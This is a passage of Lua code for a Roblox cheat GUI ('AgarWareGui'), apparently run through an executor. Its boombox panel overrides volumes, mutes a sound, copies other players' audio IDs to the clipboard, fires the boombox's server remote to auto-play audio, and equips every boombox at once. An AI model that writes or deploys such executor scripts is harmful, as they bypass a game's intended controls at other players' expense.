local ClickBoomTickBox = findDescendant("ClickBoomTickBox")
local AutoPlayTickBox = findDescendant("AutoPlayTickBox")
local DisableBoomboxTickBox = findDescendant("DisableBoomboxTickBox")
-- ============================================================
-- TOOLTIP BUILDER
-- ============================================================
local function makeTooltip(text)
local frame = Instance.new("Frame")
frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = ScreenGui
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57,57,57)
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0,6)
padding.PaddingBottom = UDim.new(0,6)
padding.PaddingLeft = UDim.new(0,6)
padding.PaddingRight = UDim.new(0,6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1,1,1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0,200,0,0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
return frame
end
local function hookTooltip(button, tooltipFrame)
if not button then return end
button.MouseEnter:Connect(function()
local abs = button.AbsolutePosition
local size = button.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
button.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
end
-- ============================================================
-- CREATE TOOLTIPS
-- ============================================================
local boomVolTooltip = makeTooltip(
"Controls the volume of all boomboxes.\n\n100 = default)\n0 = mute boomboxes"
)
local muteTacoTooltip = makeTooltip(
"Mutes the raining tacos sound bc its annoying."
)
local clickBoomTooltip = makeTooltip(
"If you click a boombox, it would log and copy the audio ID to your clipboard.\nBasically a boombox stealer if thats what you call it."
)
local autoPlayTooltip = makeTooltip(
"Automatically plays the ID set in the field without having to use the boombox UI.\nIt also plays the audio as soon as you equip boombox."
)
local disableBoomboxTooltip = makeTooltip(
"Disables the boombox UI."
)
-- ============================================================
-- HOOK THEM
-- ============================================================
hookTooltip(BoomVolTickBox, boomVolTooltip)
hookTooltip(MuteTacoTickBox, muteTacoTooltip)
hookTooltip(ClickBoomTickBox, clickBoomTooltip)
hookTooltip(AutoPlayTickBox, autoPlayTooltip)
hookTooltip(DisableBoomboxTickBox, disableBoomboxTooltip)
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
boomVolTooltip:Destroy()
muteTacoTooltip:Destroy()
clickBoomTooltip:Destroy()
autoPlayTooltip:Destroy()
disableBoomboxTooltip:Destroy()
end
end)
end;
task.spawn(C_274);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow.BoomVolScript
local function C_27a()
local script = G2L["27a"];
local BoomVolRow = script.Parent
local BoomVolTickBox = BoomVolRow:WaitForChild("BoomVolTickBox")
local BoomVolChanger = BoomVolRow:WaitForChild("BoomVolChanger")
local function getAccentColor()
local BoomboxGroup = BoomVolRow.Parent
local a = BoomboxGroup:FindFirstChild("BoomboxAccentColor")
if a then
return a.BackgroundColor3
else
return Color3.new(1, 1, 1)
end
end
-- State
local isEnabled = false
local currentVolume = 100 -- Default 100 = 1.0 in Roblox
-- ============================================================
-- TOGGLE
-- ============================================================
local function toggle()
isEnabled = not isEnabled
if isEnabled then
BoomVolTickBox.BackgroundColor3 = getAccentColor()
-- Apply current volume from changer to all boomboxes
applyVolumeToAll()
else
BoomVolTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
-- Reset all boomboxes to default Roblox volume (1.0)
resetVolumeToDefault()
end
end
-- ============================================================
-- CLICK HANDLER
-- ============================================================
BoomVolTickBox.MouseButton1Click:Connect(toggle)
-- ============================================================
-- VOLUME CONVERSION (User Input -> Roblox Volume)
-- ============================================================
local function convertToRobloxVolume(userVolume)
-- User: 100 = Roblox: 1.0
-- User: 10 = Roblox: 0.1
-- User: 1 = Roblox: 0.01
-- User: 200 = Roblox: 2.0
return userVolume / 100
end
-- ============================================================
-- FIND ALL BOOMBOXES IN WORKSPACE
-- ============================================================
local function findAllBoomboxes()
local boomboxes = {}
for _, item in ipairs(game.Workspace:GetDescendants()) do
if item.Name == "SuperFlyGoldBoombox" and item:IsA("Tool") then
local handle = item:FindFirstChild("Handle")
if handle then
local sound = handle:FindFirstChild("Sound")
if sound and sound:IsA("Sound") then
table.insert(boomboxes, sound)
end
end
end
end
return boomboxes
end
-- ============================================================
-- APPLY VOLUME TO ALL BOOMBOXES
-- ============================================================
function applyVolumeToAll()
if not isEnabled then return end
local robloxVolume = convertToRobloxVolume(currentVolume)
local boomboxes = findAllBoomboxes()
-- Check if MuteTaco is enabled
local BoomboxGroup = BoomVolRow.Parent
local MuteTacoRow = BoomboxGroup:FindFirstChild("MuteTacoRow")
local muteTacoEnabled = MuteTacoRow and MuteTacoRow:GetAttribute("MuteTacoEnabled") == true
local TARGET_AUDIO_ID = "142376088"
for _, sound in ipairs(boomboxes) do
-- Skip if MuteTaco is on and this is the taco song
if muteTacoEnabled and string.find(sound.SoundId or "", TARGET_AUDIO_ID) then
-- Don't change volume for muted taco song
else
sound.Volume = robloxVolume
end
end
print("[BoomVol] Set", #boomboxes, "boomboxes to volume", currentVolume, "(Roblox:", robloxVolume .. ")")
end
-- ============================================================
-- RESET VOLUME TO DEFAULT (1.0)
-- ============================================================
local function resetVolumeToDefault()
local boomboxes = findAllBoomboxes()
for _, sound in ipairs(boomboxes) do
sound.Volume = 1.0
end
print("[BoomVol] Reset", #boomboxes, "boomboxes to default volume (1.0)")
end
-- ============================================================
-- VOLUME CHANGER INPUT
-- ============================================================
BoomVolChanger.FocusLost:Connect(function(enterPressed)
local text = BoomVolChanger.Text
local number = tonumber(text)
if number then
-- Clamp between 0 and 1000
number = math.clamp(number, 0, 1000)
currentVolume = number
BoomVolChanger.Text = tostring(math.floor(number))
-- Apply volume if enabled
if isEnabled then
applyVolumeToAll()
end
else
-- Reset to current volume if invalid
BoomVolChanger.Text = tostring(currentVolume)
end
end)
-- ============================================================
-- WATCH FOR NEW BOOMBOXES
-- ============================================================
local function watchForNewBoomboxes()
game.Workspace.DescendantAdded:Connect(function(descendant)
if not isEnabled then return end
-- Check if it's a boombox sound
if descendant.Name == "Sound" and descendant:IsA("Sound") then
local handle = descendant.Parent
if handle and handle.Name == "Handle" then
local boombox = handle.Parent
if boombox and boombox.Name == "SuperFlyGoldBoombox" then
-- Apply current volume to new boombox
local robloxVolume = convertToRobloxVolume(currentVolume)
descendant.Volume = robloxVolume
print("[BoomVol] New boombox detected - set volume to", currentVolume)
end
end
end
end)
end
task.spawn(watchForNewBoomboxes)
-- ============================================================
-- INITIALIZE
-- ============================================================
BoomVolTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
BoomVolChanger.Text = "100"
print("[BoomVol] OFF by default - Default volume: 100")
end;
task.spawn(C_27a);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.MuteTacoRow.MuteTacoScript
local function C_27f()
local script = G2L["27f"];
local MuteTacoRow = script.Parent
local MuteTacoTickBox = MuteTacoRow:WaitForChild("MuteTacoTickBox")
local function getAccentColor()
local BoomboxGroup = MuteTacoRow.Parent
local a = BoomboxGroup:FindFirstChild("BoomboxAccentColor")
if a then
return a.BackgroundColor3
else
return Color3.new(1, 1, 1)
end
end
-- State
local isEnabled = false
local TARGET_AUDIO_ID = "142376088"
local originalVolumes = {} -- Store original volumes
-- ============================================================
-- TOGGLE
-- ============================================================
local function toggle()
isEnabled = not isEnabled
if isEnabled then
MuteTacoTickBox.BackgroundColor3 = getAccentColor()
MuteTacoRow:SetAttribute("MuteTacoEnabled", true)
muteTargetAudio()
else
MuteTacoTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
MuteTacoRow:SetAttribute("MuteTacoEnabled", false)
unmuteTargetAudio()
end
end
MuteTacoTickBox.MouseButton1Click:Connect(toggle)
-- ============================================================
-- CHECK IF SOUND HAS TARGET AUDIO ID
-- ============================================================
local function isTargetAudio(sound)
if not sound or not sound:IsA("Sound") then return false end
local soundId = sound.SoundId
-- Check if SoundId contains the target ID
return string.find(soundId, TARGET_AUDIO_ID) ~= nil
end
-- ============================================================
-- FIND ALL SOUNDS IN WORKSPACE
-- ============================================================
local function findAllSounds()
local sounds = {}
for _, descendant in ipairs(game.Workspace:GetDescendants()) do
if descendant:IsA("Sound") then
table.insert(sounds, descendant)
end
end
return sounds
end
-- ============================================================
-- MUTE TARGET AUDIO
-- ============================================================
function muteTargetAudio()
local sounds = findAllSounds()
local mutedCount = 0
for _, sound in ipairs(sounds) do
if isTargetAudio(sound) then
-- Store original volume
originalVolumes[sound] = sound.Volume
-- Mute it
sound.Volume = 0
mutedCount = mutedCount + 1
end
end
print("[MuteTaco] Muted", mutedCount, "sounds with ID", TARGET_AUDIO_ID)
end
-- ============================================================
-- UNMUTE TARGET AUDIO
-- ============================================================
function unmuteTargetAudio()
local sounds = findAllSounds()
local unmutedCount = 0
-- Check if BoomVol is enabled and get its volume
local BoomboxGroup = MuteTacoRow.Parent
local BoomVolRow = BoomboxGroup:FindFirstChild("BoomVolRow")
local boomVolEnabled = false
local boomVolValue = 100
if BoomVolRow then
local BoomVolChanger = BoomVolRow:FindFirstChild("BoomVolChanger")
local BoomVolTickBox = BoomVolRow:FindFirstChild("BoomVolTickBox")
if BoomVolChanger then
boomVolValue = tonumber(BoomVolChanger.Text) or 100
end
-- Check if BoomVol tickbox is on (has accent color, not black)
if BoomVolTickBox then
local tickColor = BoomVolTickBox.BackgroundColor3
boomVolEnabled = tickColor ~= Color3.new(0, 0, 0)
end
end
local targetVolume
if boomVolEnabled then
-- Use BoomVol volume
targetVolume = boomVolValue / 100
else
-- Use default 1.0
targetVolume = 1.0
end
for _, sound in ipairs(sounds) do
if isTargetAudio(sound) then
-- Restore to BoomVol volume or default
sound.Volume = targetVolume
originalVolumes[sound] = nil
unmutedCount = unmutedCount + 1
end
end
print("[MuteTaco] Unmuted", unmutedCount, "sounds to volume", targetVolume)
end
-- ============================================================
-- WATCH FOR NEW SOUNDS
-- ============================================================
local function watchForNewSounds()
game.Workspace.DescendantAdded:Connect(function(descendant)
if not isEnabled then return end
if descendant:IsA("Sound") and isTargetAudio(descendant) then
-- Store original and mute
originalVolumes[descendant] = descendant.Volume
descendant.Volume = 0
print("[MuteTaco] New sound detected with target ID - muted")
end
end)
-- Watch for SoundId changes on all sounds
game.Workspace.DescendantAdded:Connect(function(descendant)
if descendant:IsA("Sound") then
descendant:GetPropertyChangedSignal("SoundId"):Connect(function()
if isEnabled then
if isTargetAudio(descendant) then
-- Changed TO target ID - mute it
originalVolumes[descendant] = descendant.Volume
descendant.Volume = 0
print("[MuteTaco] Sound changed to target ID - muted")
else
-- Changed AWAY from target ID - unmute to BoomVol volume
if originalVolumes[descendant] then
-- Check BoomVol settings
local BoomboxGroup = MuteTacoRow.Parent
local BoomVolRow = BoomboxGroup:FindFirstChild("BoomVolRow")
local boomVolEnabled = false
local boomVolValue = 100
if BoomVolRow then
local BoomVolChanger = BoomVolRow:FindFirstChild("BoomVolChanger")
local BoomVolTickBox = BoomVolRow:FindFirstChild("BoomVolTickBox")
if BoomVolChanger then
boomVolValue = tonumber(BoomVolChanger.Text) or 100
end
if BoomVolTickBox then
local tickColor = BoomVolTickBox.BackgroundColor3
boomVolEnabled = tickColor ~= Color3.new(0, 0, 0)
end
end
local targetVolume = boomVolEnabled and (boomVolValue / 100) or 1.0
descendant.Volume = targetVolume
originalVolumes[descendant] = nil
print("[MuteTaco] Sound changed away from target ID - unmuted to", targetVolume)
end
end
end
end)
end
end)
end
task.spawn(watchForNewSounds)
-- ============================================================
-- INITIALIZE
-- ============================================================
MuteTacoTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
MuteTacoRow:SetAttribute("MuteTacoEnabled", false)
print("[MuteTaco] OFF by default - Target ID:", TARGET_AUDIO_ID)
end;
task.spawn(C_27f);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.ClickBoomRow.ClickBoomScript
local function C_283()
local script = G2L["283"];
local ClickBoomRow = script.Parent
local ClickBoomTickBox = ClickBoomRow:WaitForChild("ClickBoomTickBox")
local function getAccentColor()
local BoomboxGroup = ClickBoomRow.Parent
local a = BoomboxGroup:FindFirstChild("BoomboxAccentColor")
if a then
return a.BackgroundColor3
else
return Color3.new(1, 1, 1)
end
end
-- State
local isEnabled = false
local clickConnections = {}
-- ============================================================
-- TOGGLE
-- ============================================================
local function toggle()
isEnabled = not isEnabled
if isEnabled then
ClickBoomTickBox.BackgroundColor3 = getAccentColor()
enableClickDetection()
else
ClickBoomTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
disableClickDetection()
end
end
ClickBoomTickBox.MouseButton1Click:Connect(toggle)
-- ============================================================
-- EXTRACT AUDIO ID FROM SOUNDID
-- ============================================================
local function extractAudioId(soundId)
-- SoundId format: rbxassetid://142376088
local id = string.match(soundId, "%d+")
return id
end
-- ============================================================
-- FLASH EFFECT ON BOOMBOX
-- ============================================================
local function flashBoombox(handle)
-- Create a black SelectionBox for flash effect
local flash = Instance.new("SelectionBox")
flash.Color3 = Color3.new(0, 0, 0)
flash.LineThickness = 0.05
flash.Transparency = 0
flash.Adornee = handle
flash.Parent = handle
-- Fade out the flash
task.spawn(function()
for i = 0, 1, 0.1 do
flash.Transparency = i
task.wait(0.05)
end
flash:Destroy()
end)
end
-- ============================================================
-- HANDLE BOOMBOX CLICK
-- ============================================================
local function onBoomboxClicked(handle)
-- Find the Sound
local sound = handle:FindFirstChild("Sound")
if not sound or not sound:IsA("Sound") then
print("[ClickBoom] No sound found in boombox")
return
end
local soundId = sound.SoundId
if soundId == "" then
print("[ClickBoom] Boombox has no audio playing")
return
end
-- Extract the audio ID
local audioId = extractAudioId(soundId)
if not audioId then
print("[ClickBoom] Could not extract audio ID")
return
end
-- Copy to clipboard
setclipboard(audioId)
-- Flash effect
flashBoombox(handle)
print("[ClickBoom] Copied audio ID:", audioId)
end
-- ============================================================
-- SETUP CLICK DETECTION ON HANDLE
-- ============================================================
local function setupClickDetection(handle)
-- Create a ClickDetector
local clickDetector = Instance.new("ClickDetector")
clickDetector.MaxActivationDistance = 32
clickDetector.Parent = handle
-- Connect click event
local connection = clickDetector.MouseClick:Connect(function(player)
if isEnabled then
onBoomboxClicked(handle)
end
end)
-- Store connection for cleanup
clickConnections[handle] = {detector = clickDetector, connection = connection}
end
-- ============================================================
-- ENABLE CLICK DETECTION
-- ============================================================
function enableClickDetection()
-- Find all existing boomboxes
for _, item in ipairs(game.Workspace:GetDescendants()) do
if item.Name == "SuperFlyGoldBoombox" and item:IsA("Tool") then
local handle = item:FindFirstChild("Handle")
if handle and not clickConnections[handle] then
setupClickDetection(handle)
end
end
end
print("[ClickBoom] Click detection enabled")
end
-- ============================================================
-- DISABLE CLICK DETECTION
-- ============================================================
function disableClickDetection()
-- Clean up all click detectors
for handle, data in pairs(clickConnections) do
if data.connection then
data.connection:Disconnect()
end
if data.detector and data.detector.Parent then
data.detector:Destroy()
end
end
clickConnections = {}
print("[ClickBoom] Click detection disabled")
end
-- ============================================================
-- WATCH FOR NEW BOOMBOXES
-- ============================================================
local function watchForNewBoomboxes()
game.Workspace.DescendantAdded:Connect(function(descendant)
if not isEnabled then return end
-- Check if it's a boombox handle
if descendant.Name == "Handle" and descendant.Parent then
local boombox = descendant.Parent
if boombox.Name == "SuperFlyGoldBoombox" and boombox:IsA("Tool") then
if not clickConnections[descendant] then
setupClickDetection(descendant)
print("[ClickBoom] New boombox detected - added click detection")
end
end
end
end)
-- Clean up when handles are removed
game.Workspace.DescendantRemoving:Connect(function(descendant)
if clickConnections[descendant] then
if clickConnections[descendant].connection then
clickConnections[descendant].connection:Disconnect()
end
if clickConnections[descendant].detector then
clickConnections[descendant].detector:Destroy()
end
clickConnections[descendant] = nil
end
end)
end
task.spawn(watchForNewBoomboxes)
-- ============================================================
-- INITIALIZE
-- ============================================================
ClickBoomTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
print("[ClickBoom] OFF by default")
end;
task.spawn(C_283);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.AutoPlayRow.AutoPlayScript
local function C_287()
local script = G2L["287"];
local AutoPlayRow = script.Parent
local AutoPlayTickBox = AutoPlayRow:WaitForChild("AutoPlayTickBox")
local AutoPlayChanger = AutoPlayRow:WaitForChild("AutoPlayChanger")
local function getAccentColor()
local BoomboxGroup = AutoPlayRow.Parent
local a = BoomboxGroup:FindFirstChild("BoomboxAccentColor")
if a then
return a.BackgroundColor3
else
return Color3.new(1, 1, 1)
end
end
-- State
local isEnabled = false
local currentAudioId = "142376088" -- Default audio ID
local equipDelay = 0.03 -- How long to wait before auto-playing (adjustable)
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local currentBoombox = nil -- Track currently equipped boombox
-- ============================================================
-- PLAY AUDIO ON CURRENT BOOMBOX
-- ============================================================
local function playOnCurrentBoombox(audioId)
if not currentBoombox then return end
if not currentBoombox.Parent then
currentBoombox = nil
return
end
local remote = currentBoombox:FindFirstChild("Remote")
if remote then
remote:FireServer("PlaySong", audioId)
end
end
-- ============================================================
-- TOGGLE
-- ============================================================
local function toggle()
isEnabled = not isEnabled
if isEnabled then
AutoPlayTickBox.BackgroundColor3 = getAccentColor()
-- If boombox is currently equipped, play the audio
if currentBoombox then
local audioId = tonumber(currentAudioId)
if audioId then
playOnCurrentBoombox(audioId)
end
end
else
AutoPlayTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
-- If boombox is currently equipped, stop the audio
if currentBoombox then
playOnCurrentBoombox(0) -- Play ID 0 to stop music
end
end
end
-- ============================================================
-- CLICK HANDLER
-- ============================================================
AutoPlayTickBox.MouseButton1Click:Connect(toggle)
-- ============================================================
-- AUTO-PLAY FUNCTION
-- ============================================================
local function autoPlayBoombox(tool)
if not isEnabled then return end
if tool.Name ~= "SuperFlyGoldBoombox" then return end
-- Wait for Remote to be available
local remote = tool:WaitForChild("Remote", 10)
if not remote then
return
end
-- Track this as the current boombox
currentBoombox = tool
-- Get current audio ID from the changer
local audioId = tonumber(currentAudioId)
if not audioId then
return
end
-- Wait before auto-playing (adjustable delay)
task.wait(equipDelay)
-- Fire the server-side PlaySong event
remote:FireServer("PlaySong", audioId)
end
-- ============================================================
-- CHARACTER MONITORING
-- ============================================================
local function onCharacterAdded(character)
-- Monitor when tools get equipped
character.ChildAdded:Connect(function(child)
if child:IsA("Tool") then
autoPlayBoombox(child)
end
end)
-- Monitor when tools get unequipped
character.ChildRemoved:Connect(function(child)
if child:IsA("Tool") and child.Name == "SuperFlyGoldBoombox" then
currentBoombox = nil
end
end)
-- Check if already equipped
for _, child in pairs(character:GetChildren()) do
if child:IsA("Tool") then
autoPlayBoombox(child)
end
end
end
-- Setup for current character
if player.Character then
onCharacterAdded(player.Character)
end
-- Setup for future characters (respawns)
player.CharacterAdded:Connect(onCharacterAdded)
-- ============================================================
-- AUDIO ID CHANGER INPUT
-- ============================================================
AutoPlayChanger.FocusLost:Connect(function(enterPressed)
local text = AutoPlayChanger.Text
local number = tonumber(text)
if number then
currentAudioId = tostring(math.floor(number))
AutoPlayChanger.Text = currentAudioId
-- If enabled and boombox is currently equipped, change the audio immediately
if isEnabled then
local audioId = tonumber(currentAudioId)
if audioId then
playOnCurrentBoombox(audioId)
end
end
else
-- Reset to current audio ID if invalid
AutoPlayChanger.Text = currentAudioId
end
end)
-- ============================================================
-- INITIALIZE
-- ============================================================
AutoPlayTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
AutoPlayChanger.Text = "142376088"
end;
task.spawn(C_287);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.DisableBoomboxRow.DisableBoomboxScript
local function C_28b()
local script = G2L["28b"];
local DisableBoomboxRow = script.Parent
local DisableBoomboxTickBox = DisableBoomboxRow:WaitForChild("DisableBoomboxTickBox")
local function getAccentColor()
local BoomboxGroup = DisableBoomboxRow.Parent
local a = BoomboxGroup:FindFirstChild("BoomboxAccentColor")
if a then
return a.BackgroundColor3
else
return Color3.new(1, 1, 1)
end
end
-- State
local isEnabled = false
local Players = game:GetService("Players")
local player = Players.LocalPlayer
-- ============================================================
-- DISABLE GUI FUNCTION
-- ============================================================
local function disableChooseSongGui()
local chooseSongGui = player.PlayerGui:FindFirstChild("ChooseSongGui")
if chooseSongGui then
local frame = chooseSongGui:FindFirstChild("Frame")
if frame then
frame.Visible = false
end
end
end
-- ============================================================
-- ENABLE GUI FUNCTION
-- ============================================================
local function enableChooseSongGui()
local chooseSongGui = player.PlayerGui:FindFirstChild("ChooseSongGui")
if chooseSongGui then
local frame = chooseSongGui:FindFirstChild("Frame")
if frame then
frame.Visible = true
end
end
end
-- ============================================================
-- MONITOR FOR NEW GUIS
-- ============================================================
local function monitorForGuis()
player.PlayerGui.ChildAdded:Connect(function(child)
if isEnabled and child.Name == "ChooseSongGui" then
task.wait()
disableChooseSongGui()
end
end)
end
-- ============================================================
-- TOGGLE
-- ============================================================
local function toggle()
isEnabled = not isEnabled
if isEnabled then
DisableBoomboxTickBox.BackgroundColor3 = getAccentColor()
disableChooseSongGui()
else
DisableBoomboxTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
enableChooseSongGui()
end
end
-- ============================================================
-- CLICK HANDLER
-- ============================================================
DisableBoomboxTickBox.MouseButton1Click:Connect(toggle)
-- ============================================================
-- INITIALIZE
-- ============================================================
DisableBoomboxTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
task.spawn(monitorForGuis)
end;
task.spawn(C_28b);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxRow.EquipBoomboxScript
local function C_28f()
local script = G2L["28f"];
-- ============================================================
-- EQUIP BOOMBOX BUTTON
-- Equips SuperFlyGoldBoombox when you click the button
-- ============================================================
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local EquipBoomboxButton = script.Parent.EquipBoomboxButton
-- ============================================================
-- BUTTON CLICK
-- ============================================================
EquipBoomboxButton.MouseButton1Click:Connect(function()
-- Find SuperFlyGoldBoombox in backpack
local boombox = LocalPlayer.Backpack:FindFirstChild("SuperFlyGoldBoombox")
if boombox then
-- Move to character (equips it without unequipping other tools)
boombox.Parent = LocalPlayer.Character
end
end)
end;
task.spawn(C_28f);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxesRow.EquipBoomboxesScript
local function C_292()
local script = G2L["292"];
-- ============================================================
-- EQUIP ALL BOOMBOXES BUTTON
-- Equips ALL SuperFlyGoldBoombox when you click the button
-- ============================================================
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local EquipBoomboxesButton = script.Parent.EquipBoomboxesButton
-- ============================================================
-- BUTTON CLICK
-- ============================================================
EquipBoomboxesButton.MouseButton1Click:Connect(function()
-- Find ALL SuperFlyGoldBoombox in backpack and equip them
for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do
if v:IsA("Tool") and v.Name == "SuperFlyGoldBoombox" then
v.Parent = LocalPlayer.Character
end
end
end)
end;
task.spawn(C_292);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.AlertScript
local function C_297()
local script = G2L["297"];
local AlertGroup = script.Parent
local AlertMinimize = AlertGroup.AlertTitle.AlertMinimize
local function getRows()
local rows = {}
for _, child in ipairs(AlertGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = AlertGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
AlertMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
AlertGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
AlertMinimize.Text = "+"
else
AlertGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
AlertMinimize.Text = "-"
end
end)
end;
task.spawn(C_297);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.EnlightenLogRow.EnlightenLogScript
local function C_2a3()
local script = G2L["2a3"];
local Players = game:GetService("Players")
local TextChatService = game:GetService("TextChatService")
local LocalPlayer = Players.LocalPlayer
local EnlightenLogRow = script.Parent
local EnlightenLogTickBox = EnlightenLogRow.EnlightenLogTickBox
local EnlightenLogText = EnlightenLogRow.EnlightenLogText
local AlertGroup = EnlightenLogRow.Parent
local MiscAccentColor = AlertGroup.AlertAccentColor
local isEnabled = false
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
-- ============================================================
-- TOOLTIP
-- ============================================================
EnlightenLogTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
local tooltipFrame = Instance.new("Frame")
tooltipFrame.Name = "EnlightenLogTooltip"
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local tooltipStroke = Instance.new("UIStroke")
tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
tooltipStroke.Thickness = 1
tooltipStroke.Parent = tooltipFrame
local tooltipPadding = Instance.new("UIPadding")
tooltipPadding.PaddingTop = UDim.new(0, 6)
tooltipPadding.PaddingBottom = UDim.new(0, 6)
tooltipPadding.PaddingLeft = UDim.new(0, 6)
tooltipPadding.PaddingRight = UDim.new(0, 6)
tooltipPadding.Parent = tooltipFrame
local tooltipText = Instance.new("TextLabel")
tooltipText.BackgroundTransparency = 1
tooltipText.Text = "Announces when players receive The Arkenstone (Enlighten) in their backpack"
tooltipText.TextColor3 = Color3.new(1, 1, 1)
tooltipText.TextSize = 14
tooltipText.TextXAlignment = Enum.TextXAlignment.Left
tooltipText.TextYAlignment = Enum.TextYAlignment.Top
tooltipText.Font = Enum.Font.GothamSemibold
tooltipText.TextWrapped = true
tooltipText.Size = UDim2.new(0, 200, 0, 0)
tooltipText.AutomaticSize = Enum.AutomaticSize.Y
tooltipText.ZIndex = 101
tooltipText.Parent = tooltipFrame
EnlightenLogTickBox.MouseEnter:Connect(function()
local abs = EnlightenLogTickBox.AbsolutePosition
local size = EnlightenLogTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
EnlightenLogTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
-- ============================================================
-- HELPERS
-- ============================================================
local function sendChat(message)
if shared.sendChat then
shared.sendChat(message)
end
end
local function isAdmin(player)
local chosenTeam = game:GetService("Teams"):FindFirstChild("Chosen")
if not chosenTeam then return false end
return player.Team == chosenTeam
end
local function getNonAdminCount()
local count = 0
for _, p in pairs(Players:GetPlayers()) do
if not isAdmin(p) then
count += 1
end
end
return count
end
local function playerHasEnlighten(player)
local backpack = player:FindFirstChild("Backpack")
local char = workspace:FindFirstChild(player.Name)
local inBackpack = backpack and backpack:FindFirstChild("The Arkenstone")
local inChar = char and char:FindFirstChild("The Arkenstone")
return inBackpack ~= nil or inChar ~= nil
end
-- ============================================================
-- WINDOW STATE
-- ============================================================
local pendingPlayers = {}
local windowTimer = nil
local WINDOW = 1
local function sendEnlightenMessage()
if #pendingPlayers == 0 then return end
local nonAdminCount = getNonAdminCount()
-- Only say "everyone" if at least 2 players got it AND it covers all non-admins
if #pendingPlayers >= 2 and #pendingPlayers >= nonAdminCount then
sendChat("🌟Everyone has received enlighten")
elseif #pendingPlayers == 1 then
sendChat("🌟" .. pendingPlayers[1] .. " has received enlighten")
else
sendChat("🌟" .. #pendingPlayers .. " Players have received enlighten")
end
pendingPlayers = {}
windowTimer = nil
end
local function onPlayerEnlightened(player)
if not isEnabled then return end
if isAdmin(player) then return end
if player == LocalPlayer then return end
print("[ENLIGHTENLOG] " .. player.Name .. " (" .. player.DisplayName .. ") received The Arkenstone")
local alreadyPending = false
for _, name in ipairs(pendingPlayers) do
if name == player.DisplayName then
alreadyPending = true
break
end
end
if not alreadyPending then
table.insert(pendingPlayers, player.DisplayName)
end
if windowTimer then
task.cancel(windowTimer)
end
windowTimer = task.delay(WINDOW, sendEnlightenMessage)
end
-- ============================================================
-- WATCH PLAYERS
-- ============================================================
local watchedPlayers = {}
local knownEnlightened = {}
local function watchPlayer(player)
if watchedPlayers[player] then return end
watchedPlayers[player] = true
local function watchChar(char)
if not char then return end
char.ChildAdded:Connect(function(item)
if item.Name ~= "The Arkenstone" then return end
local backpack = player:FindFirstChild("Backpack")
local wasInBackpack = backpack and backpack:FindFirstChild("The Arkenstone")
if wasInBackpack then return end
if knownEnlightened[player] then return end
knownEnlightened[player] = true
onPlayerEnlightened(player)
end)
char.ChildRemoved:Connect(function(item)
if item.Name ~= "The Arkenstone" then return end
task.delay(0.3, function()
